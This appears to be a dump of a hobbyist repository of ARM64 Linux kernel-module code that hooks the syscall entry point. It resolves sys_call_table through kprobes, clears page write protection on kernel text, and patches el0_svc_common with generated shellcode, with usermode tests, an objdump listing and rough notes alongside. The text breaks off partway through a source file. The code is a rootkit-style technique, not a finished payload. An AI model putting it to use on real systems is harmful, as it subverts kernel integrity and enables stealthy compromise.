#ifndef _SET_PAGE_FLAGS_H_ 2 | #define _SET_PAGE_FLAGS_H_ 3 | 4 | #include 5 | #include "resolve_kallsyms.h" 6 | 7 | static struct mm_struct *init_mm_ptr = NULL; 8 | 9 | pte_t *page_from_virt(uintptr_t addr) { 10 | pr_info("debug: page_from_virt called with addr %pK\n", addr); 11 | if (!init_mm_ptr) { 12 | init_mm_ptr = kallsyms_lookup_name_("init_mm"); 13 | } 14 | 15 | pgd_t *pgd; 16 | p4d_t *p4d; 17 | pud_t *pud; 18 | pmd_t *pmd; 19 | pte_t *ptep; 20 | 21 | pgd = pgd_offset(init_mm_ptr, addr); 22 | if (pgd_none(*pgd) || pgd_bad(*pgd)) { 23 | pr_info("debug: page_from_virt of addr %pK, pgd_offset failed", addr); 24 | return NULL; 25 | } 26 | 27 | // https://stackoverflow.com/questions/58743052/getting-error-when-compiling-kernel-for-page-table-walk 28 | p4d = p4d_offset(pgd, addr); 29 | if (p4d_none(*p4d) || p4d_bad(*p4d)) { 30 | return NULL; 31 | } 32 | 33 | pud = pud_offset(p4d, addr); 34 | if (pud_none(*pud) || pud_bad(*pud)) { 35 | pr_info("debug: page_from_virt of addr %pK, pud_offset failed", addr); 36 | return NULL; 37 | } 38 | 39 | pmd = pmd_offset(pud, addr); 40 | if (pmd_none(*pmd) || pmd_bad(*pmd)) { 41 | pr_info("debug: page_from_virt of addr %pK, pmd_offset failed", addr); 42 | return NULL; 43 | } 44 | 45 | ptep = pte_offset_kernel(pmd, addr); 46 | if (!ptep) { 47 | pr_info("debug: page_from_virt of addr %pK, pte_offset_kernel failed", addr); 48 | return NULL; 49 | } 50 | 51 | pr_info("debug: page_from_virt virt (%pK), ptep @ %pK", addr, ptep); 52 | 53 | return ptep; 54 | } 55 | 56 | void pte_flip_write_protect(pte_t *ptep) { 57 | // pr_info("debug: pte_flip_write_protect called ptep @ %pK", ptep); 58 | 59 | if (!pte_write(*ptep)) { 60 | *ptep = pte_mkwrite(pte_mkdirty(*ptep)); 61 | *ptep = clear_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 62 | pr_info("debug: pte_flip_write_protect flipped ptep @ %pK, pte_write(%i)\n", ptep, pte_write(*ptep)); 63 | return; 64 | } 65 | *ptep = pte_wrprotect(*ptep); 66 | *ptep = set_pte_bit(*ptep, __pgprot((_AT(pteval_t, 1) << 7))); 67 | pr_info("debug: pte_flip_write_protect ptep @ %pK, pte_write(%i)\n", ptep, pte_write(*ptep)); 68 | } 69 | 70 | #endif 71 | -------------------------------------------------------------------------------- /exception_handler_hooking/sym/sym: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/exception_handler_hooking/sym/sym -------------------------------------------------------------------------------- /exception_handler_hooking/sym/sym.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | static volatile void __attribute__((used)) *sym1; 4 | static volatile uintptr_t shellcode_size; 5 | 6 | int main(void) { 7 | void *sym2 = (void *)((uintptr_t) sym1 + shellcode_size); 8 | } 9 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/asm.S: -------------------------------------------------------------------------------- 1 | .section .data 2 | 3 | .global fun1_ptr 4 | .balign 8 5 | .byte 1 6 | fun1_ptr: .dword 0x0 7 | .global fun1_hook_ptr 8 | .balign 8 9 | .byte 1 10 | fun1_hook_ptr: .dword fun1_hook 11 | 12 | .section .text 13 | .global shellcode 14 | shellcode: 15 | movz x12, #:abs_g3:fun1_hook_ptr 16 | movk x12, #:abs_g2_nc:fun1_hook_ptr 17 | movk x12, #:abs_g1_nc:fun1_hook_ptr 18 | movk x12, #:abs_g0_nc:fun1_hook_ptr 19 | ldr x12, [x12] 20 | blr x12 21 | .global shellcode_size 22 | .set shellcode_size, . - shellcode 23 | 24 | .global fun1_hook; 25 | fun1_hook: 26 | nop 27 | nop 28 | nop 29 | nop 30 | nop 31 | nop 32 | nop 33 | nop 34 | nop 35 | nop 36 | nop 37 | nop 38 | nop 39 | nop 40 | nop 41 | nop 42 | nop 43 | nop 44 | nop 45 | nop 46 | nop 47 | nop 48 | nop 49 | nop 50 | mov x12, #0 51 | ldr x12, =fun1_ptr 52 | ldr x13, =shellcode_size 53 | ldr x12, [x12] 54 | ldr x13, [x13] 55 | add x12, x12, x13 56 | blr x12 57 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/compile.sh: -------------------------------------------------------------------------------- 1 | gcc -fPIC -fpie -pie asm.S usermode.c -o test -flinker-output=pie 2 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/compile_test.sh: -------------------------------------------------------------------------------- 1 | gcc -fPIC -fpie -pie test.c -o test_2 2 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/test.c: -------------------------------------------------------------------------------- 1 | // https://stackoverflow.com/questions/64838776/understanding-arm-relocation-example-str-x0-tmp-lo12zbi-paddr 2 | 3 | typedef void (*fun1_t)(void); 4 | 5 | void __attribute__((used)) fun1(void) { 6 | 7 | } 8 | 9 | void __attribute__((used)) *fun1_ptr; 10 | 11 | void __attribute__((used)) fun2(void) { 12 | fun1_ptr = &fun1; 13 | ((fun1_t) fun1_ptr)(); 14 | } 15 | 16 | int main(void) { 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/test_2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/3intermute/linux_syscall_hook/9f0c61241a8e49374919d3793509b1e4a865acdc/exception_handler_hooking/usermode/test_2 -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/test_2.objdump: -------------------------------------------------------------------------------- 1 | 2 | test_2: file format elf64-littleaarch64 3 | 4 | 5 | Disassembly of section .init: 6 | 7 | 00000000000005b0 <_init>: 8 | 5b0: a9bf7bfd stp x29, x30, [sp, #-16]! 9 | 5b4: 910003fd mov x29, sp 10 | 5b8: 9400002c bl 668 11 | 5bc: a8c17bfd ldp x29, x30, [sp], #16 12 | 5c0: d65f03c0 ret 13 | 14 | Disassembly of section .plt: 15 | 16 | 00000000000005d0 <.plt>: 17 | 5d0: a9bf7bf0 stp x16, x30, [sp, #-16]! 18 | 5d4: 90000090 adrp x16, 10000 <__FRAME_END__+0xf6a0> 19 | 5d8: f947ca11 ldr x17, [x16, #3984] 20 | 5dc: 913e4210 add x16, x16, #0xf90 21 | 5e0: d61f0220 br x17 22 | 5e4: d503201f nop 23 | 5e8: d503201f nop 24 | 5ec: d503201f nop 25 | 26 | 00000000000005f0 <__cxa_finalize@plt>: 27 | 5f0: 90000090 adrp x16, 10000 <__FRAME_END__+0xf6a0> 28 | 5f4: f947ce11 ldr x17, [x16, #3992] 29 | 5f8: 913e6210 add x16, x16, #0xf98 30 | 5fc: d61f0220 br x17 31 | 32 | 0000000000000600 <__libc_start_main@plt>: 33 | 600: 90000090 adrp x16, 10000 <__FRAME_END__+0xf6a0> 34 | 604: f947d211 ldr x17, [x16, #4000] 35 | 608: 913e8210 add x16, x16, #0xfa0 36 | 60c: d61f0220 br x17 37 | 38 | 0000000000000610 <__gmon_start__@plt>: 39 | 610: 90000090 adrp x16, 10000 <__FRAME_END__+0xf6a0> 40 | 614: f947d611 ldr x17, [x16, #4008] 41 | 618: 913ea210 add x16, x16, #0xfa8 42 | 61c: d61f0220 br x17 43 | 44 | 0000000000000620 : 45 | 620: 90000090 adrp x16, 10000 <__FRAME_END__+0xf6a0> 46 | 624: f947da11 ldr x17, [x16, #4016] 47 | 628: 913ec210 add x16, x16, #0xfb0 48 | 62c: d61f0220 br x17 49 | 50 | Disassembly of section .text: 51 | 52 | 0000000000000630 <_start>: 53 | 630: d280001d mov x29, #0x0 // #0 54 | 634: d280001e mov x30, #0x0 // #0 55 | 638: aa0003e5 mov x5, x0 56 | 63c: f94003e1 ldr x1, [sp] 57 | 640: 910023e2 add x2, sp, #0x8 58 | 644: 910003e6 mov x6, sp 59 | 648: 90000080 adrp x0, 10000 <__FRAME_END__+0xf6a0> 60 | 64c: f947f400 ldr x0, [x0, #4072] 61 | 650: 90000083 adrp x3, 10000 <__FRAME_END__+0xf6a0> 62 | 654: f947f063 ldr x3, [x3, #4064] 63 | 658: 90000084 adrp x4, 10000 <__FRAME_END__+0xf6a0> 64 | 65c: f947e084 ldr x4, [x4, #4032] 65 | 660: 97ffffe8 bl 600 <__libc_start_main@plt> 66 | 664: 97ffffef bl 620 67 | 68 | 0000000000000668 : 69 | 668: 90000080 adrp x0, 10000 <__FRAME_END__+0xf6a0> 70 | 66c: f947ec00 ldr x0, [x0, #4056] 71 | 670: b4000040 cbz x0, 678 72 | 674: 17ffffe7 b 610 <__gmon_start__@plt> 73 | 678: d65f03c0 ret 74 | 67c: d503201f nop 75 | 76 | 0000000000000680 : 77 | 680: b0000080 adrp x0, 11000 <__data_start> 78 | 684: 91004000 add x0, x0, #0x10 79 | 688: b0000081 adrp x1, 11000 <__data_start> 80 | 68c: 91004021 add x1, x1, #0x10 81 | 690: eb00003f cmp x1, x0 82 | 694: 540000c0 b.eq 6ac // b.none 83 | 698: 90000081 adrp x1, 10000 <__FRAME_END__+0xf6a0> 84 | 69c: f947e421 ldr x1, [x1, #4040] 85 | 6a0: b4000061 cbz x1, 6ac 86 | 6a4: aa0103f0 mov x16, x1 87 | 6a8: d61f0200 br x16 88 | 6ac: d65f03c0 ret 89 | 90 | 00000000000006b0 : 91 | 6b0: b0000080 adrp x0, 11000 <__data_start> 92 | 6b4: 91004000 add x0, x0, #0x10 93 | 6b8: b0000081 adrp x1, 11000 <__data_start> 94 | 6bc: 91004021 add x1, x1, #0x10 95 | 6c0: cb000021 sub x1, x1, x0 96 | 6c4: d37ffc22 lsr x2, x1, #63 97 | 6c8: 8b810c41 add x1, x2, x1, asr #3 98 | 6cc: eb8107ff cmp xzr, x1, asr #1 99 | 6d0: 9341fc21 asr x1, x1, #1 100 | 6d4: 540000c0 b.eq 6ec // b.none 101 | 6d8: 90000082 adrp x2, 10000 <__FRAME_END__+0xf6a0> 102 | 6dc: f947f842 ldr x2, [x2, #4080] 103 | 6e0: b4000062 cbz x2, 6ec 104 | 6e4: aa0203f0 mov x16, x2 105 | 6e8: d61f0200 br x16 106 | 6ec: d65f03c0 ret 107 | 108 | 00000000000006f0 <__do_global_dtors_aux>: 109 | 6f0: a9be7bfd stp x29, x30, [sp, #-32]! 110 | 6f4: 910003fd mov x29, sp 111 | 6f8: f9000bf3 str x19, [sp, #16] 112 | 6fc: b0000093 adrp x19, 11000 <__data_start> 113 | 700: 39404260 ldrb w0, [x19, #16] 114 | 704: 35000140 cbnz w0, 72c <__do_global_dtors_aux+0x3c> 115 | 708: 90000080 adrp x0, 10000 <__FRAME_END__+0xf6a0> 116 | 70c: f947e800 ldr x0, [x0, #4048] 117 | 710: b4000080 cbz x0, 720 <__do_global_dtors_aux+0x30> 118 | 714: b0000080 adrp x0, 11000 <__data_start> 119 | 718: f9400400 ldr x0, [x0, #8] 120 | 71c: 97ffffb5 bl 5f0 <__cxa_finalize@plt> 121 | 720: 97ffffd8 bl 680 122 | 724: 52800020 mov w0, #0x1 // #1 123 | 728: 39004260 strb w0, [x19, #16] 124 | 72c: f9400bf3 ldr x19, [sp, #16] 125 | 730: a8c27bfd ldp x29, x30, [sp], #32 126 | 734: d65f03c0 ret 127 | 128 | 0000000000000738 : 129 | 738: 17ffffde b 6b0 130 | 131 | 000000000000073c : 132 | 73c: d503201f nop 133 | 740: d65f03c0 ret 134 | 135 | 0000000000000744
: 136 | 744: a9bf7bfd stp x29, x30, [sp, #-16]! 137 | 748: 910003fd mov x29, sp 138 | 74c: 90000080 adrp x0, 10000 <__FRAME_END__+0xf6a0> 139 | 750: f947fc00 ldr x0, [x0, #4088] 140 | 754: 90000001 adrp x1, 0 <_init-0x5b0> 141 | 758: 911cf021 add x1, x1, #0x73c 142 | 75c: f9000001 str x1, [x0] 143 | 760: 90000080 adrp x0, 10000 <__FRAME_END__+0xf6a0> 144 | 764: f947fc00 ldr x0, [x0, #4088] 145 | 768: f9400000 ldr x0, [x0] 146 | 76c: d63f0000 blr x0 147 | 770: 52800000 mov w0, #0x0 // #0 148 | 774: a8c17bfd ldp x29, x30, [sp], #16 149 | 778: d65f03c0 ret 150 | 77c: d503201f nop 151 | 152 | 0000000000000780 <__libc_csu_init>: 153 | 780: a9bc7bfd stp x29, x30, [sp, #-64]! 154 | 784: 910003fd mov x29, sp 155 | 788: a90153f3 stp x19, x20, [sp, #16] 156 | 78c: 90000094 adrp x20, 10000 <__FRAME_END__+0xf6a0> 157 | 790: 91362294 add x20, x20, #0xd88 158 | 794: a9025bf5 stp x21, x22, [sp, #32] 159 | 798: 90000095 adrp x21, 10000 <__FRAME_END__+0xf6a0> 160 | 79c: 913602b5 add x21, x21, #0xd80 161 | 7a0: cb150294 sub x20, x20, x21 162 | 7a4: 2a0003f6 mov w22, w0 163 | 7a8: a90363f7 stp x23, x24, [sp, #48] 164 | 7ac: aa0103f7 mov x23, x1 165 | 7b0: aa0203f8 mov x24, x2 166 | 7b4: 97ffff7f bl 5b0 <_init> 167 | 7b8: eb940fff cmp xzr, x20, asr #3 168 | 7bc: 54000160 b.eq 7e8 <__libc_csu_init+0x68> // b.none 169 | 7c0: 9343fe94 asr x20, x20, #3 170 | 7c4: d2800013 mov x19, #0x0 // #0 171 | 7c8: f8737aa3 ldr x3, [x21, x19, lsl #3] 172 | 7cc: aa1803e2 mov x2, x24 173 | 7d0: 91000673 add x19, x19, #0x1 174 | 7d4: aa1703e1 mov x1, x23 175 | 7d8: 2a1603e0 mov w0, w22 176 | 7dc: d63f0060 blr x3 177 | 7e0: eb13029f cmp x20, x19 178 | 7e4: 54ffff21 b.ne 7c8 <__libc_csu_init+0x48> // b.any 179 | 7e8: a94153f3 ldp x19, x20, [sp, #16] 180 | 7ec: a9425bf5 ldp x21, x22, [sp, #32] 181 | 7f0: a94363f7 ldp x23, x24, [sp, #48] 182 | 7f4: a8c47bfd ldp x29, x30, [sp], #64 183 | 7f8: d65f03c0 ret 184 | 7fc: d503201f nop 185 | 186 | 0000000000000800 <__libc_csu_fini>: 187 | 800: d65f03c0 ret 188 | 189 | Disassembly of section .fini: 190 | 191 | 0000000000000804 <_fini>: 192 | 804: a9bf7bfd stp x29, x30, [sp, #-16]! 193 | 808: 910003fd mov x29, sp 194 | 80c: a8c17bfd ldp x29, x30, [sp], #16 195 | 810: d65f03c0 ret 196 | -------------------------------------------------------------------------------- /exception_handler_hooking/usermode/usermode.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #define PAGESIZE 4096 7 | 8 | extern void *fun1_ptr; 9 | extern void *fun1_hook_ptr; 10 | 11 | extern void fun1_hook(void); 12 | 13 | extern void shellcode(void); 14 | extern uintptr_t shellcode_size; 15 | 16 | void fun1(void) { 17 | printf("fun1 !\n"); 18 | } 19 | 20 | int main(void) { 21 | fun1_ptr = fun1; 22 | fun1_hook_ptr = fun1_hook; 23 | 24 | void *p = (char *)(((int) fun1_hook_ptr + PAGESIZE - 1) & ~(PAGESIZE - 1)); 25 | mprotect(p , PAGESIZE, PROT_READ | PROT_WRITE | PROT_EXEC); 26 | p = (char *)(((int) fun1_ptr + PAGESIZE - 1) & ~(PAGESIZE - 1)); 27 | mprotect(p , PAGESIZE, PROT_READ | PROT_WRITE | PROT_EXEC); 28 | 29 | memcpy(fun1_hook_ptr, fun1, shellcode_size); 30 | memcpy(fun1_ptr, shellcode, shellcode_size); 31 | 32 | return 0; 33 | } 34 | -------------------------------------------------------------------------------- /exception_handler_hooking/writeup.txt: -------------------------------------------------------------------------------- 1 | fuck it bro 2 | 3 | 4 | hooking process: 5 | copy (el0_svc_common entry, length x) -> hooked_el0_svc_common 6 | copy shellcode (jmp hooked_el0_svc_common, length x) -> el0_svc_common 7 | 8 | el0_svc_common entry 9 | 0 --------------- 10 | jmp hooked_el0_svc_common 11 | x --------------- 12 | el0_svc_common body 13 | 14 | >>>>>>>>>>> 15 | 16 | hooked_el0_svc_common entry 17 | 0 --------------- 18 | OVERWRITTEN el0_svc_common body 19 | nop 20 | nop 21 | nop 22 | ... 23 | x --------------- 24 | set sys_call_table to new addr 25 | jmp el0_svc_common entry + x 26 | 27 | 28 | https://stackoverflow.com/questions/40270548/load-64-bit-address-of-a-symbol-to-a-register-on-aarch64 29 | https://thinkingeek.com/2016/11/13/exploring-aarch64-assembler-chapter-5/ 30 | https://eli.thegreenplace.net/2013/11/05/how-to-jit-an-introduction 31 | 32 | - static function pointer to el0_svc_common_hook 33 | - static function pointer to el0_svc_common_ 34 | - static void **to sys_call_table new 35 | - load and then jmp via adrp + ldr method (https://stackoverflow.com/questions/40270548/load-64-bit-address-of-a-symbol-to-a-register-on-aarch64) 36 | store (uintptr_t) shellcode_end - (uintptr_t) shellcode as constant 37 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += ehh.o 2 | ehh-objs = resolve_kallsyms.o set_page_flags.o assembler.o hook.o copy_sys_call_table.o ehh_init.o 3 | # _CFLAGS += -fPIE -fPIC 4 | # ccflags-y += ${_CFLAGS} 5 | # CC += ${_CFLAGS} 6 | 7 | all: 8 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 9 | # EXTRA_CFLAGS="$(_CFLAGS)" 10 | 11 | clean: 12 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 13 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/assembler.c: -------------------------------------------------------------------------------- 1 | #include "assembler.h" 2 | 3 | // https://developer.arm.com/documentation/ddi0596/2021-12/Base-Instructions/MOVK--Move-wide-with-keep-?lang=en 4 | // movk encoding: 5 | // 0 | 1 1 1 0 0 1 0 1 | 0 0 | 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 | 0 0 0 0 0 6 | //------------------------------------------------------------------------ 7 | // sf|opc |hw |imm16 |rd 8 | uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd) { 9 | return 0xf2800000 | (imm16 << 5) | (hw << 21) | rd; 10 | } 11 | 12 | void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr) { 13 | arr[0] = cpu_to_le32(assemble_movk(addr & 0xffff, 0b0, rd)); 14 | arr[1] = cpu_to_le32(assemble_movk((addr & 0xffff0000) >> 16, 0b1, rd)); 15 | arr[2] = cpu_to_le32(assemble_movk((addr & 0xffff00000000) >> 32, 0b10, rd)); 16 | arr[3] = cpu_to_le32(assemble_movk((addr & 0xffff000000000000) >> 48, 0b11, rd)); 17 | } 18 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/assembler.h: -------------------------------------------------------------------------------- 1 | #ifndef _ASSEMBLER_H_ 2 | #define _ASSEMBLER_H_ 3 | 4 | #include 5 | #include 6 | 7 | #define INS_SIZE 4 8 | 9 | extern uint32_t assemble_movk(uint32_t imm16, uint32_t hw, uint32_t rd); 10 | extern void assemble_absolute_load(uint32_t rd, uintptr_t addr, uint32_t *arr); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/copy_sys_call_table.c: -------------------------------------------------------------------------------- 1 | #include "copy_sys_call_table.h" 2 | 3 | void *copy_sys_call_table(void *table) { 4 | void *new_sys_call_table = vmalloc(sizeof(syscall_fn_t) * __NR_syscalls); 5 | memcpy(new_sys_call_table, table, sizeof(syscall_fn_t) * __NR_syscalls); 6 | return new_sys_call_table; 7 | } 8 | 9 | void free_new_sys_call_table(void *table) { 10 | vfree(table); 11 | } 12 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/copy_sys_call_table.h: -------------------------------------------------------------------------------- 1 | #ifndef _COPY_SYS_CALL_TABLE_H_ 2 | #define _COPY_SYS_CALL_TABLE_H_ 3 | 4 | #include 5 | #include 6 | #include 7 | #include "set_page_flags.h" 8 | 9 | extern void *copy_sys_call_table(void *table); 10 | extern void free_new_sys_call_table(void *table); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/ehh_init.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "resolve_kallsyms.h" 6 | #include "copy_sys_call_table.h" 7 | #include "hook.h" 8 | 9 | MODULE_LICENSE("GPL"); 10 | MODULE_AUTHOR("0xwillow"); 11 | MODULE_VERSION("1.0"); 12 | 13 | static int __init hook_test_mod_init(void) { 14 | struct ehh_hook hook; 15 | hook.number = __NR_mkdirat; 16 | hook.orig_table = kallsyms_lookup_name_("sys_call_table"); 17 | hook.new_table = copy_sys_call_table(hook.orig_table); 18 | pr_info("debug: orig_table %i -> %pK, new_table %i -> %pK\n", __NR_mkdirat, 19 | ((void **) hook.orig_table)[__NR_mkdirat], __NR_mkdirat, 20 | ((void **) hook.new_table)[__NR_mkdirat]); 21 | 22 | hook_el0_svc_common(&hook); 23 | 24 | pr_info("debug: module loaded\n"); 25 | return 0; 26 | } 27 | 28 | static void __exit hook_test_mod_exit(void) { 29 | pr_info("debug: module unloaded\n"); 30 | } 31 | 32 | 33 | module_init(hook_test_mod_init); 34 | module_exit(hook_test_mod_exit); 35 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/hook.c: -------------------------------------------------------------------------------- 1 | #include "hook.h" 2 | #include "assembler.h" 3 | 4 | void el0_svc_common_hook(void) { 5 | // deal with stack initialization 6 | asm volatile("nop\n\t" 7 | "nop\n\t" 8 | "nop\n\t" 9 | "nop\n\t" 10 | "nop\n\t" 11 | "nop\n\t" 12 | "nop\n\t" 13 | "nop\n\t" 14 | "nop\n\t" 15 | "nop\n\t" 16 | "nop\n\t" 17 | "nop\n\t" 18 | "nop\n\t" 19 | "nop\n\t" 20 | "nop\n\t"); 21 | 22 | pr_info("debug: el0_svc_common hooked\n"); 23 | 24 | asm volatile("mov x12, #0"); 25 | asm volatile("ldr x12, =el0_svc_common_ptr"); 26 | asm volatile("ldr x12, [x12]"); 27 | asm volatile("add x12, x12, #0x30"); // shellcode_size + NOP_OFFSET 28 | asm volatile("blr x12"); 29 | } 30 | 31 | uint32_t *generate_shellcode(uintptr_t el0_svc_common_hook_addr) { 32 | uint32_t *code = vmalloc(SHELLCODE_INS_COUNT * INS_SIZE); 33 | code[0] = 0x0; 34 | code[1] = 0x0; 35 | code[2] = 0x0; 36 | code[3] = 0x0; 37 | code[4] = cpu_to_le32(0xf940018c); // ldr x12, [x12] 38 | code[5] = cpu_to_le32(0xd63f0180); // blr x12 39 | assemble_absolute_load(0b1100, el0_svc_common_hook_addr, code); 40 | 41 | // code[0] = cpu_to_le32(0xd503201f); // nop 42 | 43 | return code; 44 | } 45 | 46 | int copy_shellcode_sync(void *arg) { 47 | void *shellcode = generate_shellcode(el0_svc_common_hook_ptr); 48 | pr_info("debug: shellcode: %*ph\n", SHELLCODE_INS_COUNT * INS_SIZE, shellcode); // not copying full shellcode ? 49 | 50 | memcpy(el0_svc_common_hook_ptr, el0_svc_common_ptr + NOP_OFFSET, SHELLCODE_INS_COUNT * INS_SIZE); 51 | pr_info("debug: copied el0_svc_common_ instructions %*ph\n", 64, el0_svc_common_hook_ptr); 52 | // https://docs.huihoo.com/doxygen/linux/kernel/3.7/stop__machine_8c.html 53 | memcpy((uintptr_t) el0_svc_common_ptr + NOP_OFFSET, shellcode, SHELLCODE_INS_COUNT * INS_SIZE); 54 | vfree(shellcode); 55 | pr_info("debug: copied shellcode instructions %*ph\n", 64, el0_svc_common_ptr); 56 | return 0; 57 | } 58 | 59 | void hook_el0_svc_common(struct ehh_hook *hook) { 60 | new_sys_call_table_ptr = hook->new_table; 61 | el0_svc_common_hook_ptr = &el0_svc_common_hook; 62 | el0_svc_common_ptr = kallsyms_lookup_name_("el0_svc_common.constprop.0"); 63 | 64 | pte_flip_write_protect(page_from_virt(el0_svc_common_hook_ptr)); 65 | pte_flip_write_protect(page_from_virt(el0_svc_common_ptr)); 66 | flush_tlb_all(); 67 | 68 | stop_machine(copy_shellcode_sync, NULL, NULL); 69 | } 70 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/hook.h: -------------------------------------------------------------------------------- 1 | #ifndef _HOOK_H_ 2 | #define _HOOK_H_ 3 | 4 | #define SHELLCODE_INS_COUNT 6 5 | #define NOP_OFFSET 0x10 // 0x24 nop address 6 | 7 | #include 8 | #include 9 | #include "resolve_kallsyms.h" 10 | #include "set_page_flags.h" 11 | 12 | static void *new_sys_call_table_ptr; 13 | static void *el0_svc_common_ptr; 14 | static void *el0_svc_common_hook_ptr; 15 | 16 | struct ehh_hook { 17 | int number; 18 | 19 | void *new_table; 20 | void *orig_table; 21 | 22 | void *new_fn; 23 | void *orig_fn; 24 | }; 25 | 26 | extern void hook_el0_svc_common(struct ehh_hook *hook); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/old/el0_svc_common_hook.S: -------------------------------------------------------------------------------- 1 | .section .data 2 | 3 | .global new_sys_call_table_ptr 4 | .balign 8 5 | .byte 1 6 | new_sys_call_table_ptr: .dword 0x0 7 | .global el0_svc_common_ptr 8 | .balign 8 9 | .byte 1 10 | el0_svc_common_ptr: .dword 0x0 11 | .global el0_svc_common_hook_ptr 12 | .balign 8 13 | .byte 1 14 | el0_svc_common_hook_ptr: .dword 0x0 15 | 16 | .section .text 17 | .global shellcode 18 | shellcode: 19 | movz x12, #:abs_g3:el0_svc_common_hook_ptr 20 | movk x12, #:abs_g2_nc:el0_svc_common_hook_ptr 21 | movk x12, #:abs_g1_nc:el0_svc_common_hook_ptr 22 | movk x12, #:abs_g0_nc:el0_svc_common_hook_ptr 23 | ldr x12, [x12] 24 | blr x12 25 | .global shellcode_size 26 | .set shellcode_size, . - shellcode 27 | 28 | .global el0_svc_common_hook 29 | el0_svc_common_hook: 30 | nop 31 | nop 32 | nop 33 | nop 34 | nop 35 | nop 36 | nop 37 | nop 38 | nop 39 | nop 40 | nop 41 | nop 42 | nop 43 | nop 44 | nop 45 | nop 46 | nop 47 | nop 48 | nop 49 | nop 50 | nop 51 | nop 52 | nop 53 | nop 54 | mov x12, #0 55 | ldr x12, =el0_svc_common_ptr 56 | ldr x13, =shellcode_size 57 | ldr x12, [x12] 58 | ldr x13, [x13] 59 | add x12, x12, x13 60 | blr x12 61 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/old/fuck.txt: -------------------------------------------------------------------------------- 1 | well it looks like ur gonna have to call a usermode helper to assemble the shellcode 2 | damn you kaslr ! 3 | 4 | 1. load hook function 5 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/old/notes.txt: -------------------------------------------------------------------------------- 1 | https://stackoverflow.com/questions/57376336/how-to-compile-kernel-module-together-with-file-s-gas-assembly 2 | 3 | 4 | new_sys_call_table_addr: .dword new_sys_call_table_ptr 5 | el0_svc_common_addr: .dword el0_svc_common_ptr 6 | el0_svc_common_hook_addr: .dword el0_svc_common_hook_ptr 7 | 8 | 9 | new_sys_call_table_addr: .dword new_sys_call_table_ptr 10 | el0_svc_common_addr: .dword el0_svc_common_ptr 11 | el0_svc_common_hook_addr: .dword el0_svc_common_hook_ptr 12 | 13 | 14 | https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1695093 15 | 16 | movz x12, #:abs_g3:el0_svc_common_hook_ptr 17 | movk x12, #:abs_g2_nc:el0_svc_common_hook_ptr 18 | movk x12, #:abs_g1_nc:el0_svc_common_hook_ptr 19 | movk x12, #:abs_g0_nc:el0_svc_common_hook_ptr 20 | 21 | ldr x12, =el0_svc_common_hook_ptr_addr 22 | bl skip_addr 23 | el0_svc_common_hook_ptr_addr: .dword el0_svc_common_hook_ptr 24 | skip_addr: 25 | 26 | adrp x12, :pg_hi21:el0_svc_common_hook_ptr 27 | ldr x12, [x12, #:lo12:el0_svc_common_hook_ptr] 28 | bl skip_addr 29 | el0_svc_common_hook_ptr_addr: .dword el0_svc_common_hook_ptr 30 | skip_addr: 31 | 32 | -------- 33 | 34 | 35 | 36 | .section .data 37 | 38 | .global new_sys_call_table_ptr 39 | .balign 8 40 | .byte 1 41 | new_sys_call_table_ptr: .dword 0x0 42 | .global el0_svc_common_ptr 43 | .balign 8 44 | .byte 1 45 | el0_svc_common_ptr: .dword 0x0 46 | .global el0_svc_common_hook_ptr 47 | .balign 8 48 | .byte 1 49 | el0_svc_common_hook_ptr: .dword 0x0 50 | 51 | .section .text 52 | .global shellcode 53 | shellcode: 54 | movz x12, #:abs_g2:el0_svc_common_hook_ptr 55 | movk x12, #:abs_g1_nc:el0_svc_common_hook_ptr 56 | movk x12, #:abs_g0_nc:el0_svc_common_hook_ptr 57 | ldr x12, [x12] 58 | blr x12 59 | .global shellcode_size 60 | .set shellcode_size, . - shellcode 61 | 62 | .global el0_svc_common_hook 63 | el0_svc_common_hook: 64 | nop 65 | nop 66 | nop 67 | nop 68 | nop 69 | nop 70 | nop 71 | nop 72 | nop 73 | nop 74 | nop 75 | nop 76 | nop 77 | nop 78 | nop 79 | nop 80 | nop 81 | nop 82 | nop 83 | nop 84 | nop 85 | nop 86 | nop 87 | nop 88 | mov x12, #0 89 | adrp x12, el0_svc_common_ptr 90 | ldr x12, [x12, #:lo12:el0_svc_common_ptr] 91 | adrp x13, shellcode_size 92 | ldr x13, [x13, shellcode_size] 93 | add x12, x12, x13 94 | blr x12 95 | -------------------------------------------------------------------------------- /exception_handler_hooking_v2/resolve_kallsyms.c: -------------------------------------------------------------------------------- 1 | #include "resolve_kallsyms.h" 2 | 3 | uintptr_t kprobe_get_func_addr(const char *func_name) { 4 | static struct kprobe kp; 5 | kp.symbol_name = func_name; 6 | if (register_kprobe(&kp) < 0) { 7 | pr_info("debug: kprobe_get_func_addr of %s failed\n", func_name); 8 | return 